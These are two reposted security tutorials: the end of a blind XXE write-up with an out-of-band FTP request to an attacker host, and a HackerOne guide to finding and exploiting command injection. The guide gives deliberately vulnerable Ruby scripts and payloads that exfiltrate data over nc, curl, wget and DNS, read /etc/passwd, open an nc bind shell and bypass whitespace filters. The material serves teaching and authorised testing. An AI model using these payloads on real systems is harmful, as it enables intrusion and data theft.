(Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document Internal Exception: ████████████████████████ Exception Description: A descriptor with default root element foo was not found in the project] If this information surrounding the root element names was known the attack would become more visible and slightly more damaging as it would potentially result in retrieval of local files and dare I say it potential for RCE!!! As can be seen clearly the response differs per file requested allowing an attacker to build up a profile of the underlying server behind the application. Uncovering Internal IP Addresses Using the same out of bands technique described in above, I was able to gather information surrounding the internal IP address of the application host. This was gained via the FTP handler which exploits Java to extract information contained within connection strings. To do this I used xxe-ftp-server which allowed me to listen on a custom port and intercept requests. I set this up server side listening on port 2121 as that is the default used by this script. I then issued the following request to the app which basically makes a FTP request from the application server to an attacker host specified: POST /broken/api/confirm HTTP/1.1 Host: example.com Content-Type: application/xml;charset=UTF-8 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % one SYSTEM "ftp://ATTACKERHOST:2121/"> %one; %two; %four; %five; ]> Before sending the request the FTP server needs to be run server side. The output below shows what happens when the above request is issued to the server. ruby xxe-ftp-server.rb FTP. New client connected < USER anonymous < PASS Java1.8.0_60@ > 230 more data please! < TYPE A > 230 more data please! < EPSV ALL > 230 more data please! < EPSV > 230 more data please! < EPRT |1|10.10.13.37|38505| > 230 more data please! < LIST < PORT 10,10,13,37,150,105 ! PORT received > 200 PORT command ok < LIST So breaking down the output above, the target application sends a request to the FTP server which receives a login request. The login request contains the version of Java & the internal IP of the server plus the source port. This indicated two things to me, 1) the internal range was likely 10.10.x.x & 2) there doesn't appear to be any internal -> external egress filtering which would be really useful should a shell be gained. As discussed earlier on, port scanning was possible against the host however I only scanned the localhost as I didn't know the IP range. Based on the OOB techniques used the internal range was identified and another port scan was run with burp intruder. This revealed that not only did the localhost have port 8080 open but it appeared to be listening on all interfaces meaning that further enumeration could be carried out. This meant that in this case some additional apps were identified via server side request forgery which is always fun. Remediation Advice The main problem is that the XML parser parses the untrusted data sent by the user. However, it may not be easy or possible to validate only data present within the system identifier in the DTD. Most XML parsers are vulnerable to XML external entity attacks (XXE) by default. Therefore, the best solution would be to configure the XML processor to use a local static DTD and disallow any declared DTD included in the XML document. Further Reading If you enjoyed this post and want to read more about XXE, here are a few links to check out which contain more info about XXE. SMTP over XXE XXE OOB Attacks Generic XXE Detection XXE on JSON Endpoints New Age of XXE(2015) XXE Advanced Exploitation XXE Payloads Andy Gill Read more posts by this author. Sursa: https://blog.zsec.uk/blind-xxe-learning/

How To: Command Injections July 7th , 2017 A command injection is a class of vulnerabilities where the attacker can control one or multiple commands that are being executed on a system. This post will go over the impact, how to test for it, defeating mitigations, and caveats. Before diving into command injections, let’s get something out of the way: a command injection is not the same as a remote code execution (RCE). The difference is that with an RCE, actual programming code is executed, whereas with a command injection, it’s an (OS) command being executed. In terms of possible impact, this is a minor difference, but the key difference is in how you find and exploit them. Setting up Let’s start by writing two simple Ruby scripts that you can run locally to learn finding and exploiting command injection vulnerabilities. I used Ruby 2.3.3p222. Below is ping.rb. puts `ping -c 4 ${ARGV[0]}` This script will ping the server that’s being passed to the script as argument. It will then return the command output on the screen. Example output below. $ ruby ping.rb '8.8.8.8' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=23.653 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=9.111 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=8.571 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=20.565 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.571/15.475/23.653/6.726 ms As you can see, it executed ping -c 4 8.8.8.8 and displayed the output on the screen. Here’s another script that will be used in the blog post: server-online.rb. puts `ping -c 4 #{ARGV[0]}`.include?('bytes from') ? 'yes' : 'no' This script will determine whether the server is online based on an ICMP response (ping). If it responds to the ping request, it’ll display yes on the screen. In case it doesn’t, it’ll display no. The output of the command isn’t returned to the user. Example output below. $ ruby server-on.rb '8.8.8.8' yes $ ruby server-on.rb '8.8.8.7' no Testing One of the best ways to detect a first-order command injection vulnerability is trying to execute a sleep command and determine if the execution time increases. To start with this, let’s establish a time baseline for the ping.rb script: $ time ruby ping.rb '8.8.8.8' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... 0.09s user 0.04s system 4% cpu 3.176 total Notice that executing script takes about 3 seconds. Now let’s determine if the script is vulnerable to a command injection by injecting a sleep command. $ time ruby ping.rb '8.8.8.8 && sleep 5' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... 0.10s user 0.04s system 1% cpu 8.182 total The script will now execute the command ping -c 4 8.8.8.8 && sleep 5. Notice the execution time again: it jumped from ~3 seconds to ~8 seconds, which is an increase of exactly 5 seconds. There can still be unexpected delays on the internet, so it’s important to repeat the injection and play with the amount of seconds to make sure it’s not a false positive. Let’s determine whether the server-online.rb script is vulnerable, too. $ time ruby server-online.rb '8.8.8.8' yes 0.10s user 0.04s system 4% cpu 3.174 total $ time ruby server-online.rb '8.8.8.8 && sleep 5' yes 0.10s user 0.04s system 1% cpu 8.203 total Again, the baseline shows executing a normal request takes about 3 seconds. Adding && sleep 5 to the command increases the time to 8 seconds. Depending on the command being executed, the sleep command may be injected differently. Here are a few payloads that you can try when looking for command injections (they all work): time ruby ping.rb '8.8.8.8`sleep 5`' When a command line gets parsed, everything between backticks is executed first. Executing echo `ls` will first execute ls and capture its output. It’ll then pass the output to echo, which displays the output of ls on the screen. This is called command substitution. Since execution of the command between backticks takes precedence, it doesn’t matter if the command executed afterwards fails. Below is a table of commands with injected payloads and its result. The injected payload is marked in green. Command Result ping -c 4 8.8.8.8`sleep 5` sleep command executed, command substitution works in command line. ping -c 4 "8.8.8.8`sleep 5`" sleep command executed, command substitution works in complex strings (between double quotes). ping -c 4 $(echo 8.8.8.8`sleep 5`) sleep command executed, command substitution works in command substitution when using a different notation (see example below). ping -c 4 '8.8.8.8`sleep 5`' sleep command not executed, command substitution does not work in simple strings (between single quotes). ping -c 4 `echo 8.8.8.8`sleep 5`` sleep command not executed, command substitution does not work when using the same notation. time ruby ping.rb '8.8.8.8$(sleep 5)' This is a different notation for command substitution. This may be useful when backticks are filtered or encoded. When using command substitution to look for command injections, make sure to test both notations to avoid true-negatives in case the payload is already being substituted (see last example in table above). time ruby ping.rb '8.8.8.8; sleep 5' Commands are executed in a sequence (left to right) and they can be separated with semicolons. When a command in the sequence fails it won’t stop executing the other commands. Below is a table of commands with injected payloads and its result. The injected payload is marked in green. Command Result ping -c 4 8.8.8.8;sleep 5 sleep command executed, sequencing commands works when used on the command line. ping -c 4 "8.8.8.8;sleep 5" sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 $(echo 8.8.8.8;sleep 5) sleep command executed, sequencing commands works in command substitution. ping -c 4 '8.8.8.8;sleep 5' sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 `echo 8.8.8.8;sleep 5` sleep command executed, sequencing commands works in command substitution. time ruby ping.rb '8.8.8.8 | sleep 5' Command output can be piped, in sequence, to another commands. When executing cat /etc/passwd | grep root, it’ll capture the output of the cat /etc/passwd command and pass it to grep root, which will then show the lines that match root. When the first command fail, it’ll still execute the second command. Below is a table of commands with injected payloads and its result. The injected payload is marked in green. Command Result ping -c 4 8.8.8.8 | sleep 5 sleep command executed, piping output works when used on the command line. ping -c 4 "8.8.8.8 | sleep 5" sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 $(echo 8.8.8.8 | sleep 5) sleep command executed, piping output works in command substitution. ping -c 4 '8.8.8.8 | sleep 5' sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 `echo 8.8.8.8 | sleep 5` sleep command executed, piping output works in command substitution. Exploiting To exploit the vulnerability for evidence is to determine whether it’s a generic or blind command injection. The difference between the two, is that a blind command injection doesn’t return the output of the command in the response. A generic command injection would return the output of the executes command(s) in the response. The sleep command is often a good proof of concept for either flavor. However, if you need more proof, execute id, hostname, or whoami and use the output as additional proof. The server’s hostname is useful to determine how many servers are affected and help the vendor to get a sense of impact faster. Important: needless to say, most companies don’t appreciate you snooping around on their systems. Before exploiting the vulnerability to pivot into something else, ask permission to the company. In nearly all situations proving that executing arbitrary but harmless commands like sleep, id, hostname or whoami is enough to proof impact to the affected company. Exploiting generic command injection This is usually pretty straightforward: the output of any injected command will be returned to the user: $ ruby ping.rb '8.8.8.8 && whoami' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.008 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=8.572 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=9.309 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=9.005 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.572/8.973/9.309/0.263 ms jobert The red part shows the output of the ping command. The green text the output of the whoami command. From this point, you can gather evidence for your proof of concept. Again, stick to harmless commands. Exploiting blind command injection With blind command injections the output isn’t returned to the user, so we should find other ways to extract the output. The most straightforward technique is to offload the output to your server. To simulate this, run nc -l -n -vv -p 80 -k on your server and allow inbound connections on port 80 in your firewall. Once you’ve set up the listener, use nc, curl, wget, telnet, or any other tool that sends data to the internet, to send the output to your server: $ ruby server-online.rb '8.8.8.8 && hostname | nc IP 80' yes Then observe a connection being made to your server that shows the output of the hostname command: $ nc -l -n -vv -p 80 -k Listening on [0.0.0.0] (family 0, port 81) Connection from [1.2.3.4] port 80 [tcp/*] accepted (family 2, sport 64225) hacker.local In the example above, nc is used to send the output of the command to your server. However, nc might be deleted or unable to execute. To avoid going down a rabbit hole, there are a few simple payloads to determine if a command exists. In case any of the commands increase the time with 5 seconds, you know the command exists. curl -h && sleep 5 wget -h && sleep 5 ssh -V && sleep 5 telnet && sleep 5 When you’ve determined a command exists, you can use any of those commands to send the output of a command to your server, like this: whoami | curl http://your-server -d @- wget http://your-server/$(whoami) export C=whoami | ssh user@your-server (setup the user account on your-server to authenticate without a password and log every command being executed) Even though the server-online.rb script doesn’t output the result of the hostname command, the output can be sent to a remote server and obtained by an attacker. In some cases, outbound TCP and UDP connections are blocked. It’s still possible to extract the output in that case, we just have to do a little bit more work. In order to extract the output, we have to guess the output based on something that we can change. In this case, the execution time can be increased using the sleep command. This can be used to extract the output. The trick here is to pass the result of a command to the sleep command. Here’s an example: sleep $(hostname | cut -c 1 | tr a 5). Let’s analyze this for a moment. It’s executing the hostname command. Let’s assume it returns hacker.local. It’ll take that output and pass it to cut -c 1. This will take the first character of hacker.local, which is the character h. It passes it to tr a 5, which will replace the character a with a 5 in the output of the cut command (h). The output of the tr command is then passed to the sleep command, resulting in sleep h being executed. This will immediately error, since sleep can only take a number as first argument. The goal is then to iterate over the characters with the tr command. Once you execute sleep $(hostname | cut -c 1 | tr h 5), the command will take 5 seconds longer to execute. This is how you determine that the first character is an h. Once you guessed a character, increase the number you pass to the cut -c command, and repeat. Here’s a table with the commands to determine the output: Command Time Result ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr a 5)' 3s - ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr h 5)' 8s h ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 2 | tr a 5)' 8s a ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr a 5)' 3s - ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr c 5)' 8s c To determine how many characters you need to guess: pipe the output of hostname to wc -c and pass that to the sleep command. hacker.local is 12 characters. The hostname command returns the hostname and a new line, so wc -c will return 13. We established that normally, the script takes 3 seconds to complete. $ time ruby server-online.rb '8.8.8.8 && sleep $(hostname | wc -c)' yes 0.10s user 0.04s system 0% cpu 16.188 total The payload above shows that the script now takes 16 seconds to complete, which means the output of hostname is 12 characters: 16 - 3 (baseline) - 1 (new line) = 12 characters. When executing this payload on a web server, know that the output may change: the length of the hostname could change when requests are handled by different servers. The technique above works fine for smaller outputs, but can take a long time for reading a file. Some of the following methods can be pretty intrusive, so always make sure the company gave you a thumbs up to use more invasive extraction methods. In case outbound connections are blocked and the output is too long to read, here are a few other tricks to try (useful during CTFs): Run a port scan on the server and based on the exposed services, determine a way to extract the output. FTP: try writing the file to a directory you can download files from. SSH: try writing the output of the command to the MOTD banner, then simply SSH to the server. Web: try writing the output of the command to a file in a public directory (/var/www/). Spawn a shell on a port that can be reached from the outside (only available in custom netcat build): nc -l -n -vv -p 80 -e /bin/bash (unix) or nc -l -n -vv -p 80 -e cmd.exe (windows). Do a DNS query with dig or nslookup to send the output to port 53 (UDP): dig `hostname` @your-server or nslookup `hostname` your-server. Output can be captured with nc -l -n -vv -p 53 -u -k on your server. This may work because outbound DNS traffic is often allowed. Check out this tweet how to offload file contents with dig. Change the ICMP packet size when pinging your server to offload data. tcpdump can be used to capture the data. Check out this tweet how to do this. There’s plenty of other ways, but it often depends on what kind of options the servers gives you. The technique shown above are most common when exploiting command injection vulnerabilities. The key is to use what you have to extract the output! Defeating mitigations Sometimes mitigations have been put in place, which may cause the above techniques not to work. One of the mitigations that I’ve seen over the years, is a restriction on whitespace in the payload. Luckily, there’s something called Brace Expansion that can be used to create payloads without whitespace. Below is ping-2.rb, which is the second version of ping.rb. Before passing the user input to the command, it removes whitespace from the input. puts `ping -c 4 #{ARGV[0].gsub(/\s+?/,'')}` When passing 8.8.8.8 && sleep 5 as argument, it’d execute ping -c 4 8.8.8.8&&sleep5, which will result in an error showing that the command sleep5 isn’t found. There’s an easy workaround by using brace expansion: $ time ruby ping-2.rb '8.8.8.8;{sleep,5}' ... 0.10s user 0.04s system 1% cpu 8.182 total Here’s a payload that sends the output of a command to an external server without using whitespace: $ ruby ping.rb '8.8.8.8;hostname|{nc,192.241.233.143,81}' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... Or to read /etc/passwd: $ ruby ping.rb '8.8.8.8;{cat,/etc/passwd}' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.215 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=10.194 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=10.171 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=8.615 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.615/9.549/10.194/0.668 ms ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. ... Whenever a command is being executed with user input mitigations have to be put in place by the developer. Developers take different routes to implement mitigations, so it’s up to you to discover what they did and how to work around them. Happy hacking! Jobert Sursa: https://www.hackerone.com/blog/how-to-command-injections